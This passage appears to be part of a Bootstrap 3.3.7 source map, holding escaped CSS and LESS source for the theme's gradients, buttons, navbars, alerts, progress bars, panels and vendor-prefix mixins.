none;\n}\n.btn-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #b92c28;\n}\n.btn-danger:hover,\n.btn-danger:focus {\n background-color: #c12e2a;\n background-position: 0 -15px;\n}\n.btn-danger:active,\n.btn-danger.active {\n background-color: #c12e2a;\n border-color: #b92c28;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n background-color: #c12e2a;\n background-image: none;\n}\n.thumbnail,\n.img-thumbnail {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n background-color: #e8e8e8;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n background-color: #2e6da4;\n}\n.navbar-default {\n background-image: -webkit-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: -o-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: linear-gradient(to bottom, #ffffff 0%, #f8f8f8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.25);\n}\n.navbar-inverse {\n background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%);\n background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%);\n background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n}\n.navbar-inverse .navbar-brand,\n.navbar-inverse .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n@media (max-width: 767px) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n }\n}\n.alert {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.alert-success {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);\n border-color: #b2dba1;\n}\n.alert-info {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);\n border-color: #9acfea;\n}\n.alert-warning {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);\n border-color: #f5e79e;\n}\n.alert-danger {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);\n border-color: #dca7a7;\n}\n.progress {\n background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);\n}\n.progress-bar {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);\n}\n.progress-bar-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);\n}\n.progress-bar-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);\n}\n.progress-bar-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);\n}\n.progress-bar-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);\n}\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.list-group {\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 #286090;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);\n border-color: #2b669a;\n}\n.list-group-item.active .badge,\n.list-group-item.active:hover .badge,\n.list-group-item.active:focus .badge {\n text-shadow: none;\n}\n.panel {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.panel-default > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n}\n.panel-primary > .panel-heading {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n}\n.panel-success > .panel-heading {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);\n}\n.panel-info > .panel-heading {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);\n}\n.panel-warning > .panel-heading {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);\n}\n.panel-danger > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);\n}\n.well {\n background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);\n border-color: #dcdcdc;\n -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n}\n/*# sourceMappingURL=bootstrap-theme.css.map */","/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n//\n// Load core variables and mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n .box-shadow(none);\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { .btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n border-radius: @navbar-border-radius;\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// --------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 